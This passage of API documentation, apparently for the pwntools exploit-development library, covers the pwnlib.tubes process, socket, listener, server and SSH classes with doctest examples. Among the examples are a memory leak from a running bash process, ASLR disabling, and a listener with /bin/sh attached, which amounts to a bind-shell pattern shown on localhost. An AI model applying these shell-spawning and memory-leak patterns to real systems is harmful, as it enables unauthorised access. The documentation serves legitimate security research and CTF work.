>>> p.recv()
Traceback (most recent call last):
...
EOFError
```

```
>>> p = process('cat')
>>> d = open('/dev/urandom').read(4096)
>>> p.recv(timeout=0.1)
''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
```

```
True
>>> p.recv(timeout=0.1)
''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
```

```
>>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null',
↪'w+'))
>>> p.recv()
'\x00\x00\x00\x00\x00\x00\x00\x00'
```

```
>>> p = process(['python','-c','import os; print os.read(2,1024)'],
...             preexec_fn = lambda: os.dup2(0,2))
>>> p.sendline('hello')
>>> p.recvline()
'hello\n'
```

```
>>> stack_smashing = ['python','-c','open("/dev/tty","wb").write("stack smashing
↪detected")']
>>> process(stack_smashing).recvall()
'stack smashing detected'
```

```
>>> process(stack_smashing, stdout=PIPE).recvall()
''
```

```
>>> getpass = ['python','-c','import getpass; print getpass.getpass("XXX")']
>>> p = process(getpass, stdin=PTY)
>>> p.recv()
'XXX'
>>> p.sendline('hunter2')
>>> p.recvall()
'\nhunter2\n'
```

```
>>> process('echo hello 1>&2', shell=True).recvall()
'hello\n'
```

```
>>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()
''
```

```
>>> a = process(['cat', '/proc/self/maps']).recvall()
>>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
>>> with context.local(aslr=False):
...     c = process(['cat', '/proc/self/maps']).recvall()
>>> a == b
False
>>> b == c
True
```

```
>>> process(['sh','-c','ulimit -s'], aslr=0).recvline()
'unlimited\n'
```

```
>>> io = process(['sh','-c','sleep 10; exit 7'], alarm=2)
>>> io.poll(block=True) == -signal.SIGALRM
True
```

```
>>> binary = ELF.from_assembly('nop', arch='mips')
>>> p = process(binary.path)
```

can_recv_raw(*timeout*) → bool
> Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

close()
> Closes the tube.

communicate(*stdin = None*) → str
> Calls `subprocess.Popen.communicate()` method on the process.

connected_raw(*direction*)
> connected(direction = 'any') -> bool

> Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno() → int
> Returns the file number used for reading.

kill()
> Kills the process.

leak(*address*, *count=1*)
> Leaks memory within the process at the specified address.

> > **Parameters**
> >
> > * **address** (*int*) – Address to leak memory at
> >
> > * **count** (*int*) – Number of bytes to leak at that address.

> **Example**

> ```
> >>> e = ELF('/bin/bash')
> >>> p = process(e.path)
> ```

> In order to make sure there's not a race condition against the process getting set up...

> ```
> >>> p.sendline('echo hello')
> >>> p.recvuntil('hello')
> 'hello'
> ```

> Now we can leak some data!

> ```
> >>> p.leak(e.address, 4)
> '\x7fELF'
> ```

libs() → dict
> Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded at in the process' address space.

> If /proc/$PID/maps for the process cannot be accessed, the output of ldd alone is used. This may give inaccurate results if ASLR is enabled.

poll (*block = False*) → int

> **Parameters block** ([*bool*](#)) – Wait for the process to exit

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

recv_raw (*numb*) → str
Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw (*data*)
Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw (*timeout*)
Should not be called directly. Sets the timeout for the tube.

shutdown_raw (*direction*)
Should not be called directly. Closes the tube for further reading or writing.

alarm = None
Alarm timeout of the process

argv = None
Arguments passed on argv

aslr = None
Whether ASLR should be left on

corefile
Returns a corefile for the process.

If the process is alive, attempts to create a coredump with GDB.

If the process is dead, attempts to locate the coredump created by the kernel.

cwd
Directory that the process is working in.

Example

```python
>>> p = process('sh')
>>> p.sendline('cd /tmp; echo AAA')
>>> _ = p.recvuntil('AAA')
>>> p.cwd == '/tmp'
True
>>> p.sendline('cd /proc; echo BBB;')
>>> _ = p.recvuntil('BBB')
>>> p.cwd
'/proc'
```

elf
Returns an ELF file for the executable that launched the process.

env = None
Environment passed on envp

executable = None
    Full path to the executable

libc
    Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

proc = None
    `subprocess.Popen` object that backs this process

program
    Alias for `executable`, for backward compatibility.

Example

```
>>> p = process('true')
>>> p.executable == '/bin/true'
True
>>> p.executable == p.program
True
```

pty = None
    Which file descriptor is the controlling TTY

raw = None
    Whether the controlling TTY is set to raw mode

stderr
    Shorthand for `self.proc.stderr`

    See: *process.proc*

stdin
    Shorthand for `self.proc.stdin`

    See: *process.proc*

stdout
    Shorthand for `self.proc.stdout`

    See: *process.proc*

pwnlib.tubes.serialtube — Serial Ports

class pwnlib.tubes.serialtube.**serialtube**(*port=None*, *baudrate=115200*, *convert_newlines=True*, *bytesize=8*, *parity='N'*, *stopbits=1*, *xonxoff=False*, *rtscts=False*, *dsrdtr=False*, **a*, ***kw*)

can_recv_raw(*timeout*) → bool
    Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

close()
    Closes the tube.

connected_raw(*direction*)
    connected(direction = 'any') -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno() → int

Returns the file number used for reading.

recv_raw(*numb*) → str

Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw(*data*)

Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw(*timeout*)

Should not be called directly. Sets the timeout for the tube.

shutdown_raw(*direction*)

Should not be called directly. Closes the tube for further reading or writing.

`pwnlib.tubes.sock` — Sockets

class pwnlib.tubes.sock.**sock**

Bases: *pwnlib.tubes.tube.tube*

Base type used for `tubes.remote` and `tubes.listen` classes

class pwnlib.tubes.remote.**remote**(*host*, *port*, *fam='any'*, *typ='tcp'*, *ssl=False*, *sock=None*, **args*, ***kwargs*)

Bases: *pwnlib.tubes.sock.sock*

Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

> **Parameters**
>
> - **host** (*str*) – The host to connect to.
>
> - **port** (*int*) – The port to connect to.
>
> - **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to `socket.getaddrinfo()`.
>
> - **typ** – The string "tcp" or "udp" or an integer to pass to `socket.getaddrinfo()`.
>
> - **timeout** – A positive number, None or the string "default".
>
> - **ssl** (*bool*) – Wrap the socket with SSL
>
> - **sock** (*socket.socket*) – Socket to inherit, rather than connecting

Examples

```
>>> r = remote('google.com', 443, ssl=True)
>>> r.send('GET /\r\n\r\n')
>>> r.recvn(4)
'HTTP'
```

If a connection cannot be made, an exception is raised.

```
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
```

You can also use *remote.fromsocket()* to wrap an existing socket.

```
>>> import socket
>>> s = socket.socket()
>>> s.connect(('google.com', 80))
>>> s.send('GET /' + '\r\n'*2)
9
>>> r = remote.fromsocket(s)
>>> r.recvn(4)
'HTTP'
```

classmethod fromsocket(*socket*)

> Helper method to wrap a standard python socket.socket with the tube APIs.
>
> > **Parameters socket** – Instance of socket.socket
> >
> > **Returns** Instance of pwnlib.tubes.remote.remote.

class pwnlib.tubes.listen.**listen**(*port=0*, *bindaddr='0.0.0.0'*, *fam='any'*, *typ='tcp'*, **args*, ***kwargs*)

Bases: *pwnlib.tubes.sock.sock*

Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

> **Parameters**
>
> - **port** (*int*) – The port to connect to. Defaults to a port auto-selected by the operating system.
>
> - **bindaddr** (*str*) – The address to bind to. Defaults to 0.0.0.0 / ::.
>
> - **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to socket.getaddrinfo().
>
> - **typ** – The string "tcp" or "udp" or an integer to pass to socket.getaddrinfo().

Examples

```
>>> l = listen(1234)
>>> r = remote('localhost', l.lport)
>>> _ = l.wait_for_connection()
>>> l.sendline('Hello')
>>> r.recvline()
'Hello\n'
```

```
>>> l = listen()
>>> l.spawn_process('/bin/sh')
>>> r = remote('localhost', l.lport)
>>> r.sendline('echo Goodbye')
>>> r.recvline()
'Goodbye\n'
```

close()
    Closes the tube.

spawn_process(*args*, ***kwargs*)
    Spawns a new process having this tube as stdin, stdout and stderr.

    Takes the same arguments as `subprocess.Popen`.

wait_for_connection()
    Blocks until a connection has been established.

canonname = None
    Canonical name of the listening interface

family = None
    Socket family

lhost = None
    Local host

lport = 0
    Local port

protocol = None
    Socket protocol

sockaddr = None
    Sockaddr structure that is being listened on

type = None
    Socket type (e.g. socket.SOCK_STREAM)

class pwnlib.tubes.server.**server**(*port=0*, *bindaddr='0.0.0.0'*, *fam='any'*, *typ='tcp'*, *callback=None*, *blocking=False*, **args*, ***kwargs*)
    Bases: `pwnlib.tubes.sock.sock`

    Creates an TCP or UDP-server to listen for connections. It supports both IPv4 and IPv6.

    Parameters

    - **port** (`int`) – The port to connect to. Defaults to a port auto-selected by the operating system.

    - **bindaddr** (`str`) – The address to bind to. Defaults to `0.0.0.0` / `::`.

    - **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to `socket.getaddrinfo()`.

    - **typ** – The string "tcp" or "udp" or an integer to pass to `socket.getaddrinfo()`.

    - **callback** – A function to be started on incoming connections. It should take a `pwnlib.tubes.remote` as its only argument.

Examples

```
>>> s = server(8888)
>>> client_conn = remote('localhost', s.lport)
>>> server_conn = s.next_connection()
>>> client_conn.sendline('Hello')
>>> server_conn.recvline()
'Hello\n'
>>> def cb(r):
```
(continues on next page)

```
...       client_input = r.readline()
...       r.send(client_input[::-1])
...
>>> t = server(8889, callback=cb)
>>> client_conn = remote('localhost', t.lport)
>>> client_conn.sendline('callback')
>>> client_conn.recv()
'\nkcabllac'
```

close()
>   Closes the tube.

canonname = None
>   Canonical name of the listening interface

family = None
>   Socket family

lhost = None
>   Local host

lport = 0
>   Local port

protocol = None
>   Socket protocol

sockaddr = None
>   Sockaddr structure that is being listened on

type = None
>   Socket type (e.g. socket.SOCK_STREAM)

`pwnlib.tubes.ssh` — SSH

class `pwnlib.tubes.ssh.`**ssh**(*user*, *host*, *port=22*, *password=None*, *key=None*, *keyfile=None*, *proxy_command=None*, *proxy_sock=None*, *level=None*, *cache=True*, *ssh_agent=False*, **a*, ***kw*)

>   Creates a new ssh connection.

>   **Parameters**

>   - **user** (*str*) – The username to log in with
>   - **host** (*str*) – The hostname to connect to
>   - **port** (*int*) – The port to connect to
>   - **password** (*str*) – Try to authenticate using this password
>   - **key** (*str*) – Try to authenticate using this private key. The string should be the actual private key.
>   - **keyfile** (*str*) – Try to authenticate using this private key. The string should be a filename.
>   - **proxy_command** (*str*) – Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).
>   - **proxy_sock** (*str*) – Use this socket instead of connecting to the host.

- **timeout** – Timeout, in seconds

- **level** – Log level

- **cache** – Cache downloaded files (by hash/size/timestamp)

- **ssh_agent** – If `True`, enable usage of keys via ssh-agent

NOTE: The proxy_command and proxy_sock arguments is only available if a fairly new version of paramiko is used.

checksec()
Prints a helpful message about the remote system.

> **Parameters banner** ([*bool*](#)) – Whether to print the path to the ELF binary.

close()
Close the connection.

connect_remote(*host*, *port*, *timeout = Timeout.default*) → ssh_connecter
Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a [*pwnlib.tubes.ssh.ssh_connecter*](#) object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

connected()
Returns True if we are connected.

Example

```
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> s.connected()
True
>>> s.close()
>>> s.connected()
False
```

download(*file_or_directory*, *local=None*)
Download a file or directory from the remote host.

> **Parameters**
>
> - **file_or_directory** ([*str*](#)) – Path to the file or directory to download.
>
> - **local** ([*str*](#)) – Local path to store the data. By default, uses the current directory.

download_data(*remote*)

Downloads a file from the remote server and returns it as a string.

> **Parameters remote** (str) – The remote filename to download.

Examples

```
>>> with file('/tmp/bar','w+') as f:
...     f.write('Hello, world')
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass',
...         cache=False)
>>> s.download_data('/tmp/bar')
'Hello, world'
>>> s._sftp = None
>>> s._tried_sftp = True
>>> s.download_data('/tmp/bar')
'Hello, world'
```

download_dir(*remote=None*, *local=None*)

Recursively downloads a directory from the remote server

> **Parameters**
>
> - **local** – Local directory
>
> - **remote** – Remote directory

download_file(*remote*, *local=None*)

Downloads a file from the remote server.

The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has little overhead.

> **Parameters**
>
> - **remote** (str) – The remote filename to download
>
> - **local** (str) – The local filename to save it to. Default is to infer it from the remote filename.

get(*file_or_directory*, *local=None*)

download(file_or_directory, local=None)

Download a file or directory from the remote host.

> **Parameters**
>
> - **file_or_directory** (str) – Path to the file or directory to download.
>
> - **local** (str) – Local path to store the data. By default, uses the current directory.

getenv(*variable*, ***kwargs*)

Retrieve the address of an environment variable on the remote system.

Note: The exact address will differ based on what other environment variables are set, as well as argv[0]. In order to ensure that the path is *exactly* the same, it is recommended to invoke the process with argv=[].

---

interactive (*shell=None*)

> Create an interactive session.
>
> This is a simple wrapper for creating a new [`pwnlib.tubes.ssh.ssh_channel`](#) object and calling [`pwnlib.tubes.ssh.ssh_channel.interactive()`](#) on it.

libs (*remote*, *directory=None*)

> Downloads the libraries referred to by a file.
>
> This is done by running ldd on the remote server, parsing the output and downloading the relevant files.
>
> The directory argument specified where to download the files. This defaults to './$HOSTNAME' where $HOSTNAME is the hostname of the remote server.

listen (*port=0*, *bind_address=''*, *timeout=pwnlib.timeout.Timeout.default*)

> listen_remote(port = 0, bind_address = '', timeout = Timeout.default) -> ssh_connecter
>
> Listens remotely through an SSH connection. This is equivalent to using the −R flag on ssh.
>
> Returns a [`pwnlib.tubes.ssh.ssh_listener`](#) object.

Examples

```python
>>> from pwn import *
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

listen_remote (*port = 0*, *bind_address = ''*, *timeout = Timeout.default*) → ssh_connecter

> Listens remotely through an SSH connection. This is equivalent to using the −R flag on ssh.
>
> Returns a [`pwnlib.tubes.ssh.ssh_listener`](#) object.

Examples

```python
>>> from pwn import *
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

process (*argv=None*, *executable=None*, *tty=True*, *cwd=None*, *env=None*, *timeout=pwnlib.timeout.Timeout.default*, *run=True*, *stdin=0*, *stdout=1*, *stderr=2*, *preexec_fn=None*, *preexec_args=[]*, *raw=True*, *aslr=None*, *setuid=None*, *shell=False*)

> Executes a process on the remote server, in the same fashion as pwnlib.tubes.process.process.
>
> To achieve this, a Python script is created to call os.execve with the appropriate arguments.

As an added bonus, the `ssh_channel` object returned has a `pid` property for the process pid.

> **Parameters**
> - **argv** (`list`) – List of arguments to pass into the process
> - **executable** (`str`) – Path to the executable to run. If `None`, `argv[0]` is used.
> - **tty** (`bool`) – Request a *tty* from the server. This usually fixes buffering problems by causing *libc* to write data immediately rather than buffering it. However, this disables interpretation of control codes (e.g. Ctrl+C) and breaks *.shutdown*.
> - **cwd** (`str`) – Working directory. If `None`, uses the working directory specified on *cwd* or set via *set_working_directory()*.
> - **env** (`dict`) – Environment variables to set in the child. If `None`, inherits the default environment.
> - **timeout** (`int`) – Timeout to set on the *tube* created to interact with the process.
> - **run** (`bool`) – Set to `True` to run the program (default). If `False`, returns the path to an executable Python script on the remote server which, when executed, will do it.
> - **stdin** (`int, str`) – If an integer, replace stdin with the numbered file descriptor. If a string, a open a file with the specified path and replace stdin with its file descriptor. May also be one of `sys.stdin`, `sys.stdout`, `sys.stderr`. If `None`, the file descriptor is closed.
> - **stdout** (`int, str`) – See `stdin`.
> - **stderr** (`int, str`) – See `stdin`.
> - **preexec_fn** (`callable`) – Function which is executed on the remote side before ex-ecve(). This **MUST** be a self-contained function – it must perform all of its own imports, and cannot refer to variables outside its scope.
> - **preexec_args** (`object`) – Argument passed to `preexec_fn`. This **MUST** only consist of native Python objects.
> - **raw** (`bool`) – If `True`, disable TTY control code interpretation.
> - **aslr** (`bool`) – See *pwnlib.tubes.process.process* for more information.
> - **setuid** (`bool`) – See *pwnlib.tubes.process.process* for more information.
> - **shell** (`bool`) – Pass the command-line arguments to the shell.
>
> **Returns** A new SSH channel, or a path to a script if `run=False`.

Notes

Requires Python on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline('echo Hello; exit')
```

(continues on next page)

```
>>> sh.recvall()
'Hello\n'
>>> s.process(['/bin/echo', '\xff']).recvall()
'\xff\n'
>>> s.process(['readlink', '/proc/self/exe']).recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').
→recvall()
'LOLOLOL\x00/proc/self/cmdline\x00'
>>> sh = s.process(executable='/bin/sh')
>>> sh.pid in pidof('sh')
True
>>> s.process(['pwd'], cwd='/tmp').recvall()
'/tmp\n'
>>> p = s.process(['python','-c','import os; print os.read(2, 1024)'],
→stderr=0)
>>> p.send('hello')
>>> p.recv()
'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
''
>>> s.process(['/usr/bin/env'], env={}).recvall()
''
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
'A=B\n'
```

```
>>> s.process('false', preexec_fn=1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn must be a function
```

```
>>> s.process('false', preexec_fn=lambda: 1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn cannot be a lambda
```

```
>>> def uses_globals():
...     foo = bar
>>> print s.process('false', preexec_fn=uses_globals).recvall().strip()
Traceback (most recent call last):
...
NameError: global name 'bar' is not defined
```

```
>>> s.process('echo hello', shell=True).recvall()
'hello\n'
```

put (*file_or_directory*, *remote=None*)
    upload(file_or_directory, remote=None)

    Upload a file or directory to the remote host.

        Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

read (*path*)
    Wrapper around download_data to match *pwnlib.util.misc.read()*

remote (*host*, *port*, *timeout=pwnlib.timeout.Timeout.default*)
    connect_remote(host, port, timeout = Timeout.default) -> ssh_connecter

    Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

    Returns a *pwnlib.tubes.ssh.ssh_connecter* object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

run (*process*, *tty=True*, *wd=None*, *env=None*, *timeout=None*, *raw=True*)
    Backward compatibility. Use *system()*

run_to_end (*process*, *tty = False*, *timeout = Timeout.default*, *env = None*) → str
    Run a command on the remote server and return a tuple with (data, exit_status). If *tty* is True, then the command is run inside a TTY on the remote server.

Examples

```
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> print s.run_to_end('echo Hello; exit 17')
('Hello\n', 17)
```

set_working_directory (*wd=None*, *symlink=False*)
    Sets the working directory in which future commands will be run (via ssh.run) and to which files will be uploaded/downloaded from if no path is provided

---

Note: This uses `mktemp -d` under the covers, sets permissions on the directory to `0700`. This means that setuid binaries will **not** be able to access files created in this directory.

In order to work around this, we also `chmod +x` the directory.

Parameters

- **wd** (*string*) – Working directory. Default is to auto-generate a directory based on the result of running 'mktemp -d' on the remote machine.

- **symlink** (*[bool,str](#)*) – Create symlinks in the new directory.

  The default value, `False`, implies that no symlinks should be created.

  A string value is treated as a path that should be symlinked. It is passed directly to the shell on the remote end for expansion, so wildcards work.

  Any other value is treated as a boolean, where `True` indicates that all files in the "old" working directory should be symlinked.

Examples

```python
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> cwd = s.set_working_directory()
>>> s.ls()
''
>>> s.pwd() == cwd
True
```

```python
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> homedir = s.pwd()
>>> _=s.touch('foo')
```

```python
>>> _=s.set_working_directory()
>>> assert s.ls() == ''
```

```python
>>> _=s.set_working_directory(homedir)
>>> assert 'foo' in s.ls().split()
```

```python
>>> _=s.set_working_directory(symlink=True)
>>> assert 'foo' in s.ls().split()
>>> assert homedir != s.pwd()
```

```python
>>> symlink=os.path.join(homedir,'*')
>>> _=s.set_working_directory(symlink=symlink)
>>> assert 'foo' in s.ls().split()
>>> assert homedir != s.pwd()
```

shell (*shell = None*, *tty = True*, *timeout = Timeout.default*) → ssh_channel

    Open a new channel with a shell inside.

        Parameters

- **shell** (*[str](#)*) – Path to the shell program to run. If `None`, uses the default shell for the logged in user.
- **tty** (*[bool](#)*) – If True, then a TTY is requested on the remote server.

        Returns Return a *[pwnlib.tubes.ssh.ssh_channel](#)* object.

Examples

```
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline('echo Hello; exit')
>>> print 'Hello' in sh.recvall()
True
```

system (*process*, *tty = True*, *wd = None*, *env = None*, *timeout = Timeout.default*, *raw = True*) →
    ssh_channel
Open a new channel with a specific process inside. If *tty* is True, then a TTY is requested on the remote
server.

If *raw* is True, terminal control codes are ignored and input is not echoed back.

Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s =  ssh(host='example.pwnme',
...          user='travis',
...          password='demopass')
>>> py = s.run('python -i')
>>> _ = py.recvuntil('>>> ')
>>> py.sendline('print 2+2')
>>> py.sendline('exit')
>>> print repr(py.recvline())
'4\n'
```

unlink (*file*)
    Delete the file on the remote host

        Parameters file (*str*) – Path to the file

upload (*file_or_directory*, *remote=None*)
    Upload a file or directory to the remote host.

        Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

upload_data (*data*, *remote*)
    Uploads some data into a file on the remote server.

        Parameters

- **data** (*str*) – The data to upload.
- **remote** (*str*) – The filename to upload it to.

Example

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> s.upload_data('Hello, world', '/tmp/upload_foo')
>>> print file('/tmp/upload_foo').read()
Hello, world
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data('Hello, world', '/tmp/upload_bar')
>>> print file('/tmp/upload_bar').read()
Hello, world
```

upload_dir(*local*, *remote=None*)
    Recursively uploads a directory onto the remote server

> Parameters

> - **local** – Local directory

> - **remote** – Remote directory

upload_file(*filename*, *remote=None*)
    Uploads a file to the remote server. Returns the remote filename.

    Arguments: filename(str): The local filename to download remote(str): The remote filename to save it to. Default is to infer it from the local filename.

which(*program*) → str
    Minor modification to just directly invoking `which` on the remote system which adds the current working directory to the end of `$PATH`.

write(*path*, *data*)
    Wrapper around upload_data to match *pwnlib.util.misc.write()*

arch
    CPU Architecture of the remote machine.

> Type `str`

aslr
    Whether ASLR is enabled on the system.

> **Example**

> ```
> >>> s = ssh("travis", "example.pwnme")
> >>> s.aslr
> True
> ```

> Type `bool`

aslr_ulimit
    Whether the entropy of 32-bit processes can be reduced with ulimit.

> Type `bool`

bits
    Pointer size of the remote machine.

> Type `str`

---

cache = True
    Enable caching of SSH downloads (`bool`)

client = None
    Paramiko SSHClient which backs this object

cwd = None
    Working directory (`str`)

distro
    Linux distribution name and release.

        Type `tuple`

host = None
    Remote host name (`str`)

os
    Operating System of the remote machine.

        Type `str`

pid = None
    PID of the remote `sshd` process servicing this connection.

port = None
    Remote port (`int`)

sftp
    Paramiko SFTPClient object which is used for file transfers. Set to `None` to disable `sftp`.

version
    Kernel version of the remote machine.

        Type `tuple`

class pwnlib.tubes.ssh.**ssh_channel**
    Bases: *pwnlib.tubes.sock.sock*

    interactive(*prompt = pwnlib.term.text.bold_red('$') + ' '*)
        If not in TTY-mode, this does exactly the same as meth:*pwnlib.tubes.tube.tube.interactive*, otherwise it does mostly the same.

        An SSH connection in TTY-mode will typically supply its own prompt, thus the prompt argument is ignored in this case. We also have a few SSH-specific hacks that will ideally be removed once the *pwnlib. term* is more mature.

    kill()
        Kills the process.

    poll() → int
        Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

class pwnlib.tubes.ssh.**ssh_connecter**
    Bases: *pwnlib.tubes.sock.sock*

class pwnlib.tubes.ssh.**ssh_listener**
    Bases: *pwnlib.tubes.sock.sock*

2.27.2 `pwnlib.tubes.tube` — Common Functionality

class pwnlib.tubes.tube.**tube**

Container of all the tube functions common to sockets, TTYs and SSH connetions.

can_recv (*timeout = 0*) → bool

Returns True, if there is data available within *timeout* seconds.

Examples

```
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda *a: False
>>> t.can_recv()
False
>>> _=t.unrecv('data')
>>> t.can_recv()
True
>>> _=t.recv()
>>> t.can_recv()
False
```

clean (*timeout = 0.05*)

Removes all the buffered data from a tube by calling *pwnlib.tubes.tube.tube.recv()* with a low timeout until it fails.

If `timeout` is zero, only cached data will be cleared.

Note: If timeout is set to zero, the underlying network is not actually polled; only the internal buffer is cleared.

> **Returns** All data received

Examples

```
>>> t = tube()
>>> t.unrecv('clean me up')
>>> t.clean(0)
'clean me up'
>>> len(t.buffer)
0
```

clean_and_log (*timeout = 0.05*)

Works exactly as *pwnlib.tubes.tube.tube.clean()*, but logs received data with pwnlib. self.info().

> **Returns** All data received

Examples

```
>>> def recv(n, data=['', 'hooray_data']):
...     while data: return data.pop()
>>> t = tube()
```

```
>>> t.recv_raw      = recv
>>> t.connected_raw = lambda d: True
>>> t.fileno        = lambda: 1234
>>> with context.local(log_level='info'):
...       data = t.clean_and_log()
[DEBUG] Received 0xb bytes:
    'hooray_data'
>>> data
'hooray_data'
>>> context.clear()
```

close()

> Closes the tube.

connect_both(*other*)

> Connects the both ends of this tube object with another tube object.

connect_input(*other*)

> Connects the input of this tube to the output of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
...       while data: return data.pop()
...       raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> import time
>>> _=(b.connect_input(a), time.sleep(0.1))
data
```

connect_output(*other*)

> Connects the output of this tube to the input of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
...       while data: return data.pop()
...       raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
```

```
>>> a.shutdown        = lambda d: True
>>> b.shutdown        = lambda d: True
>>> _=(a.connect_output(b), time.sleep(0.1))
data
```

connected (*direction = 'any'*) → bool

> Returns True if the tube is connected in the specified direction.

> > **Parameters** **direction** (*str*) – Can be the string 'any', 'in', 'read', 'recv', 'out', 'write', 'send'.

> Doctest:

```
>>> def p(x): print x
>>> t = tube()
>>> t.connected_raw = p
>>> _=map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send'))
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send',
 'write']"
```

fileno () → int

> Returns the file number used for reading.

interactive (*prompt = pwnlib.term.text.bold_red('$') + ' '*)

> Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using *pwnlib.term* to print a floating prompt.

> Thus it only works in while in *pwnlib.term.term_mode*.

recv (*numb = 4096*, *timeout = default*) → str

> Receives up to *numb* bytes of data from the tube, and returns as soon as any quantity of data is available.

> If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

> > **Raises** **exceptions.EOFError** – The connection is closed

> > **Returns** A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: 'Hello, world'
>>> t.recv() == 'Hello, world'
```

```
True
>>> t.unrecv('Woohoo')
>>> t.recv() == 'Woohoo'
True
>>> with context.local(log_level='debug'):
...     _ = t.recv()
[...] Received 0xc bytes:
    'Hello, world'
```

recvall() → str
    Receives data until EOF is reached.

recvline(*keepends = True*) → str
    Receive a single line from the tube.

    A "line" is any sequence of bytes terminated by the byte sequence set in *newline*, which defaults to
    `'\n'`.

    If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`)
    is returned.

    Parameters

    - **keepends** (*bool*) – Keep the line ending (`True`).

